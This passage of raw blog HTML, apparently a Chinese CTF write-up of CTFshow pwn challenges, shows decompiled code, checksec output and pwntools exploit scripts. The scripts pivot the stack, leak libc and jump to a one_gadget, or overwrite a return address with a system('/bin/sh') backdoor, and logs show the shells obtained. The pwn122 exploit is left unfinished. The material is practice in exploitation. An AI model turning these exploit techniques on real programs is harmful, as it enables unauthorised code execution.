class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  [rsp+0x40] == NULL || &#123;[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x10a2fc execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x70, environ)</span><br><span class="line">constraints:</span><br><span class="line">  [rsp+0x70] == NULL || &#123;[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...&#125; is a valid argv</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">message_pattern = <span class="number">0x6061C0</span> <span class="comment"># 全局变量，用于栈迁移+存ROP链</span></span><br><span class="line">puts_plt = <span class="number">0x400BD0</span></span><br><span class="line">puts_got = <span class="number">0x606020</span></span><br><span class="line">readn = <span class="number">0x400F1E</span> <span class="comment"># 程序自带的read函数（读取后续payload）</span></span><br><span class="line">pop_rdi = <span class="number">0x4044d3</span></span><br><span class="line">pop_rsi_r15 = <span class="number">0x4044d1</span></span><br><span class="line">ret = <span class="number">0x40150c</span> <span class="comment">#不懂，求教</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&quot;option:\n&quot;</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;1&quot;</span>) <span class="comment">#选1（flexmd5）</span></span><br><span class="line">io.sendline(<span class="string">b&quot;No&quot;</span>) <span class="comment">#选No（跳过MD5初始状态配置）</span></span><br><span class="line">io.sendline(<span class="string">b&quot;yes&quot;</span>) <span class="comment">#选yes（进入字符集配置，触发漏洞）</span></span><br><span class="line">io.sendline(<span class="string">b&#x27;-2&#x27;</span>) <span class="comment">#当用户输入n256 = -2时，因为(unsigned int)(n256 + 1)会强制把负数转成无符号整数0xffffffffffffffff</span></span><br><span class="line">payload = p64(message_pattern)*<span class="number">37</span> + p64(ret) <span class="comment">#填充数据（覆盖到上一层RBP） + 栈迁移目标（message_pattern） + ret（栈对齐）</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ROP链(泄露 libc 地址)：调用puts(puts_got) → 输出puts的libc地址 → 调用readn读新payload</span></span><br><span class="line">payload = (</span><br><span class="line">    p64(<span class="number">0</span>)  <span class="comment"># 占位（栈迁移后rsp指向这里，不影响）</span></span><br><span class="line">    + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)  <span class="comment"># 调用puts(puts_got)，泄露libc地址</span></span><br><span class="line">    <span class="comment"># 调用readn(message_pattern+0x50, 1024) → 读后续payload到安全位置（避免覆盖当前ROP）</span></span><br><span class="line">    + p64(pop_rdi) + p64(message_pattern + <span class="number">0x50</span>)  <span class="comment"># readn的第一个参数：目标地址 #整个初始 ROP 链的长度是 0x50（80 字节，每个p64占 8 字节，共 10 个）。</span></span><br><span class="line">    + p64(pop_rsi_r15) + p64(<span class="number">1024</span>) + p64(message_pattern + <span class="number">0x50</span>)  <span class="comment"># 第二个参数：长度；r15占位</span></span><br><span class="line">    + p64(readn)  <span class="comment"># 调用readn</span></span><br><span class="line">)</span><br><span class="line">io.send(payload)  <span class="comment"># 发送ROP链（写入message_pattern）</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&quot;pattern:\n&quot;</span>)</span><br><span class="line">puts = u64(io.recvuntil(<span class="string">b&quot;\n&quot;</span>)[:-<span class="number">1</span>].ljust(<span class="number">8</span>,<span class="string">b&quot;\x00&quot;</span>))</span><br><span class="line">libc_base = puts - libc.symbols[<span class="string">&quot;puts&quot;</span>]</span><br><span class="line">one_gadget = libc_base + <span class="number">0x4f302</span></span><br><span class="line">payload = p64(one_gadget)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 188</span><br><span class="line">[*] <span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br></pre></td></tr></table></figure><h2 id="pwn122【堆，过】"><a href="#pwn122【堆，过】" class="headerlink" title="pwn122【堆，过】"></a>pwn122【堆，过】</h2><h6 id="Hint：Bypass-Canary-姿势8-远程环境：Ubuntu-16"><a href="#Hint：Bypass-Canary-姿势8-远程环境：Ubuntu-16" class="headerlink" title="Hint：Bypass Canary 姿势8,远程环境：Ubuntu 16"></a>Hint：Bypass Canary 姿势8,远程环境：Ubuntu 16</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br></pre></td></tr></table></figure><p>32位开启Canary保护NX保护，部分开启RELRO</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">void</span> *ptr; <span class="comment">// [esp+18h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  sub_804866D();</span><br><span class="line">  ptr = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">switch</span> ( sub_8048B2E() )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">        <span class="keyword">if</span> ( ptr )</span><br><span class="line">          <span class="built_in">free</span>(ptr);</span><br><span class="line">        ptr = (<span class="type">void</span> *)sub_8048B03(<span class="number">0x100u</span>);</span><br><span class="line">        sub_8048510(<span class="string">&quot;Done.&quot;</span>);</span><br><span class="line">        <span class="keyword">continue</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">        <span class="keyword">if</span> ( ptr )</span><br><span class="line">          sub_8048780((<span class="type">char</span> *)ptr);</span><br><span class="line">        <span class="keyword">goto</span> LABEL_17;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">        <span class="keyword">if</span> ( ptr )</span><br><span class="line">          sub_8048823((<span class="type">char</span> *)ptr);</span><br><span class="line">        <span class="keyword">goto</span> LABEL_17;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">        <span class="keyword">if</span> ( ptr )</span><br><span class="line">          sub_80488C6((<span class="type">char</span> *)ptr);</span><br><span class="line">        <span class="keyword">goto</span> LABEL_17;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line">        <span class="keyword">if</span> ( ptr )</span><br><span class="line">          sub_8048A70((<span class="type">char</span> *)ptr);</span><br><span class="line">LABEL_17:</span><br><span class="line">        sub_8048510(<span class="string">&quot;Done.&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line">        <span class="keyword">if</span> ( ptr )</span><br><span class="line">        &#123;</span><br><span class="line">          sub_80484B0(<span class="string">&quot;The Flag is: %s\n&quot;</span>, (<span class="type">const</span> <span class="type">char</span> *)ptr);</span><br><span class="line">          <span class="built_in">free</span>(ptr);</span><br><span class="line">          ptr = <span class="number">0</span>;</span><br><span class="line">          sub_8048510(<span class="string">&quot;Done.&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">          sub_8048510(<span class="string">&quot;You have to input flag first!&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">7</span>:</span><br><span class="line">        sub_8048510(<span class="string">&quot;Bye&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">default</span>:</span><br><span class="line">        sub_8048510(<span class="string">&quot;Invalid!&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>看⼀下菜单：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">sub_8048B2E</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  sub_8048510(<span class="string">&quot;*CTFshow flag Generator* &quot;</span>);</span><br><span class="line">  sub_8048510(<span class="string">&quot;1. Input Flag&quot;</span>);</span><br><span class="line">  sub_8048510(<span class="string">&quot;2. Uppercase&quot;</span>);</span><br><span class="line">  sub_8048510(<span class="string">&quot;3. Lowercase&quot;</span>);</span><br><span class="line">  sub_8048510(<span class="string">&quot;4. Leetify&quot;</span>);</span><br><span class="line">  sub_8048510(<span class="string">&quot;5. Add Prefix&quot;</span>);</span><br><span class="line">  sub_8048510(<span class="string">&quot;6. Output Flag&quot;</span>);</span><br><span class="line">  sub_8048510(<span class="string">&quot;7. Exit &quot;</span>);</span><br><span class="line">  sub_8048510(<span class="string">&quot;=========================&quot;</span>);</span><br><span class="line">  sub_80484B0(<span class="string">&quot;Your choice: &quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> sub_804873E();</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//sub_8048510→puts</span></span><br></pre></td></tr></table></figure><p>对应7个分⽀分别对应7个选项</p><p>跟进选项sub_80488C6：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> __cdecl <span class="title function_">sub_80488C6</span><span class="params">(<span class="type">char</span> *dest)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> *v1; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> *v2; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> *v3; <span class="comment">// eax</span></span><br><span class="line">  _BYTE *v4; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> *v5; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> *v6; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> *v7; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> *v8; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> *v9; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> *v10; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> *v11; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> *p_src; <span class="comment">// [esp+14h] [ebp-114h]</span></span><br><span class="line">  <span class="type">char</span> *dest_1; <span class="comment">// [esp+18h] [ebp-110h]</span></span><br><span class="line">  <span class="type">char</span> src[<span class="number">256</span>]; <span class="comment">// [esp+1Ch] [ebp-10Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v16; <span class="comment">// [esp+11Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v16 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  p_src = src;</span><br><span class="line">  <span class="keyword">for</span> ( dest_1 = dest; *dest_1; ++dest_1 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">switch</span> ( *dest_1 )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;A&#x27;</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;a&#x27;</span>:</span><br><span class="line">        v1 = p_src++;</span><br><span class="line">        *v1 = <span class="number">52</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;B&#x27;</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;b&#x27;</span>:</span><br><span class="line">        v2 = p_src++;</span><br><span class="line">        *v2 = <span class="number">56</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;E&#x27;</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;e&#x27;</span>:</span><br><span class="line">        v3 = p_src++;</span><br><span class="line">        *v3 = <span class="number">51</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;H&#x27;</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;h&#x27;</span>:</span><br><span class="line">        *p_src = <span class="number">49</span>;</span><br><span class="line">        p_src[<span class="number">1</span>] = <span class="number">45</span>;</span><br><span class="line">        v4 = p_src + <span class="number">2</span>;</span><br><span class="line">        p_src += <span class="number">3</span>;</span><br><span class="line">        *v4 = <span class="number">49</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;I&#x27;</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;i&#x27;</span>:</span><br><span class="line">        v5 = p_src++;</span><br><span class="line">        *v5 = <span class="number">33</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;L&#x27;</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;l&#x27;</span>:</span><br><span class="line">        v6 = p_src++;</span><br><span class="line">        *v6 = <span class="number">49</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;O&#x27;</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;o&#x27;</span>:</span><br><span class="line">        v7 = p_src++;</span><br><span class="line">        *v7 = <span class="number">48</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;S&#x27;</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;s&#x27;</span>:</span><br><span class="line">        v8 = p_src++;</span><br><span class="line">        *v8 = <span class="number">53</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;T&#x27;</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;t&#x27;</span>:</span><br><span class="line">        v9 = p_src++;</span><br><span class="line">        *v9 = <span class="number">55</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;Z&#x27;</span>:</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;z&#x27;</span>:</span><br><span class="line">        v10 = p_src++;</span><br><span class="line">        *v10 = <span class="number">50</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">default</span>:</span><br><span class="line">        v11 = p_src++;</span><br><span class="line">        *v11 = *dest_1;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  *p_src = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">strcpy</span>(dest, src);</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v16;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到将选项1读⼊的flag，传⼊到选项4的sub_80488C6函数中，flag中只要含有h或者H字符就会变成三个字符-&gt; “1-1” ，可以利⽤这个进⾏栈溢出。然后函数结尾还有strcpy，将变换后的src字符串，拷⻉到dest指向的内存位置。然后由于栈溢出覆盖了canary，所以函数最后会触发stack_chk_fail函数。可以利⽤栈溢出，strcpy，和触发stack_chk_fail函数，以及搜集的ROPgadget，进⾏getshell</p><p>可以进⾏验证⼀下：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">*CTFshow flag Generator*</span><br><span class="line">1. Input Flag</span><br><span class="line">2. Uppercase</span><br><span class="line">3. Lowercase</span><br><span class="line">4. Leetify</span><br><span class="line">5. Add Prefix</span><br><span class="line">6. Output Flag</span><br><span class="line">7. Exit</span><br><span class="line">=========================</span><br><span class="line">Your choice: 1</span><br><span class="line">abcdefghijklmn</span><br><span class="line">Done.</span><br><span class="line">*CTFshow flag Generator*</span><br><span class="line">1. Input Flag</span><br><span class="line">2. Uppercase</span><br><span class="line">3. Lowercase</span><br><span class="line">4. Leetify</span><br><span class="line">5. Add Prefix</span><br><span class="line">6. Output Flag</span><br><span class="line">7. Exit</span><br><span class="line">=========================</span><br><span class="line">Your choice: 4</span><br><span class="line">Done.</span><br><span class="line">*CTFshow flag Generator*</span><br><span class="line">1. Input Flag</span><br><span class="line">2. Uppercase</span><br><span class="line">3. Lowercase</span><br><span class="line">4. Leetify</span><br><span class="line">5. Add Prefix</span><br><span class="line">6. Output Flag</span><br><span class="line">7. Exit</span><br><span class="line">=========================</span><br><span class="line">Your choice: 6</span><br><span class="line">The Flag is: 48cd3fg1-1!jk1mn</span><br><span class="line">Done.</span><br></pre></td></tr></table></figure><p>其他的都是⼀个字符对应⼀个字符，只有h由原本的h变成了1-1</p><p>具体流程：</p><p>⾸先选1，输⼊flag，然后选4，将输⼊的flag中的h变成1-1字符串，在4选项进⼊的函数结尾处，strcpy，将ebp+8位置指向堆的指针地址，存到dest，将 从输⼊的flag中变化后的字符串 的起始地址传到src处，</p><p>将src处字符串拷⻉到dest处</p><p>由于 可以将h字符变⻓造成栈溢出，所以可以覆盖ebp+8位置的地址，</p><p>覆盖为stack_chk_fail的got地址。然后strcpy将src处的字符串拷⻉到stack_chk_fail的got地址处。</p><p>这⾥可以通过构造出泄漏出puts函数的地址，然后进⾏常规的rop，当然，还有更加简单的⽅法，这⾥⼤家可以⾃⾏尝试</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><h2 id="pwn123"><a href="#pwn123" class="headerlink" title="pwn123"></a>pwn123</h2><h6 id="Hint：Bypass-Canary-姿势9"><a href="#Hint：Bypass-Canary-姿势9" class="headerlink" title="Hint：Bypass Canary 姿势9"></a>Hint：Bypass Canary 姿势9</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位开启Canary保护NX保护，部分开启RELRO</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init();</span><br><span class="line">  logo();</span><br><span class="line">  whoareyou();</span><br><span class="line">  ctfshow();</span><br><span class="line">  seeyou();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>着重看whoareyou,ctfshow,seeyou这三个函数：</p><p>Whoareyou():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">whoareyou</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;what&#x27;s your name?&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> gets(name);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>name在bss段：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.bss:0804B060                 public name</span><br><span class="line">.bss:0804B060 ; char name[1024]</span><br><span class="line">.bss:0804B060 name            db 400h dup(?)          ; DATA XREF: whoareyou+27↑o</span><br><span class="line">.bss:0804B060                                         ; seeyou+14↑o</span><br></pre></td></tr></table></figure><p>ctfshow():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> n9; <span class="comment">// [esp+8h] [ebp-40h] BYREF</span></span><br><span class="line">  <span class="type">int</span> n9_1; <span class="comment">// [esp+Ch] [ebp-3Ch] BYREF</span></span><br><span class="line">  _DWORD p_n9[<span class="number">11</span>]; <span class="comment">// [esp+10h] [ebp-38h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v4; <span class="comment">// [esp+3Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="keyword">for</span> ( n9 = <span class="number">0</span>; n9 &lt;= <span class="number">9</span>; ++n9 )</span><br><span class="line">    p_n9[n9 + <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;0 &gt; exit&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;1 &gt; edit number&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;2 &gt; show number&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;3 &gt; sum&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;4 &gt; dump all numbers&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot; &gt; &quot;</span>);</span><br><span class="line">    __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, p_n9); <span class="comment">// 读取选项到p_n9[0]</span></span><br><span class="line">    <span class="keyword">switch</span> ( p_n9[<span class="number">0</span>] )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v4;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Index to edit: &quot;</span>);</span><br><span class="line">        __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;n9);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;How many? &quot;</span>);</span><br><span class="line">        __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;n9_1);</span><br><span class="line">        p_n9[n9 + <span class="number">1</span>] = n9_1;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Index to show: &quot;</span>);</span><br><span class="line">        __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;n9);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;arr[%d] is %d\n&quot;</span>, n9, p_n9[n9 + <span class="number">1</span>]);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">        n9_1 = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> ( n9 = <span class="number">0</span>; n9 &lt;= <span class="number">9</span>; ++n9 )</span><br><span class="line">          n9_1 += p_n9[n9 + <span class="number">1</span>];</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Sum is %d\n&quot;</span>, n9_1);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">        <span class="keyword">for</span> ( n9 = <span class="number">0</span>; n9 &lt;= <span class="number">9</span>; ++n9 )</span><br><span class="line">          <span class="built_in">printf</span>(<span class="string">&quot;arr[%d] is %d\n&quot;</span>, n9, p_n9[n9 + <span class="number">1</span>]);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">default</span>:</span><br><span class="line">        <span class="keyword">continue</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><table><thead><tr><th>1（edit）</th><th>1. 读入<code>n9</code>（索引）和<code>n9_1</code>（数值）； 2. <code>p_n9[n9 + 1] = n9_1;</code></th><th><strong>无索引检查</strong>：用户可输入任意<code>n9</code>（如<code>n9=14</code>），修改<code>p_n9[15]</code>（返回地址）为后门地址。</th></tr></thead><tbody><tr><td>2（show）</td><td>1. 读入<code>n9</code>（索引）； 2. 打印<code>p_n9[n9 + 1]</code>的值</td><td><strong>无索引检查</strong>：用户可输入<code>n9=10</code>，读取<code>p_n9[11]</code>（Canary 值），实现 Canary 泄露。</td></tr></tbody></table><p><strong>数组首元素到返回地址的总字节偏移:</strong></p><ol><li>算总字节偏移:<code>(ebp+4) - (ebp-0x38) = 0x3C</code></li><li>字节→实际索引:<code>0x3C ÷4 =15(p_n9[15])</code></li><li>实际→逻辑索引:<code>n9+1=15 →n9=14</code></li></ol><p>存在后⻔函数init0()：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">init0</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以我们只需要将arr[14]修改成后⻔函数地址即可get shell</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;i386&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>, log_level=<span class="string">&#x27;debug&#x27;</span>) </span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">init0 = elf.sym[<span class="string">&#x27;init0&#x27;</span>]</span><br><span class="line">io.sendlineafter(<span class="string">b&quot;what&#x27;s your name?&quot;</span>,<span class="string">b&#x27;rhea&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;4 &gt; dump all numbers&quot;</span>)  <span class="comment">#接收ctfshow()的菜单输出，直到出现最后一个选项（确保菜单加载完成）</span></span><br><span class="line">io.sendlineafter(<span class="string">b&quot; &gt; &quot;</span>,<span class="string">b&#x27;1&#x27;</span>) <span class="comment">#发送&quot;1&quot;，选择ctfshow()的&quot;edit number&quot;功能（case1）</span></span><br><span class="line">io.sendlineafter(<span class="string">b&quot;Index to edit: &quot;</span>,<span class="string">b&#x27;14&#x27;</span>)</span><br><span class="line">io.sendlineafter(<span class="string">b&quot;How many? &quot;</span>,<span class="built_in">str</span>(init0).encode())  <span class="comment">#发送init0()的地址，将p_n9[15]（返回地址）覆盖为后门地址</span></span><br><span class="line">io.sendline(<span class="string">b&#x27;0&#x27;</span>)  <span class="comment"># 发送&quot;0&quot;，选择ctfshow()的&quot;exit&quot;功能（case0），触发函数返回</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 90</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">0 &gt; <span class="built_in">exit</span></span><br><span class="line">1 &gt; edit number</span><br><span class="line">2 &gt; show number</span><br><span class="line">3 &gt; <span class="built_in">sum</span></span><br><span class="line">4 &gt; dump all numbers</span><br><span class="line"> &gt; $ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn124"><a href="#pwn124" class="headerlink" title="pwn124"></a>pwn124</h2><h6 id="Hint：No-NX-但是多了啥？"><a href="#Hint：No-NX-但是多了啥？" class="headerlink" title="Hint：No NX 但是多了啥？"></a>Hint：No NX 但是多了啥？</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span 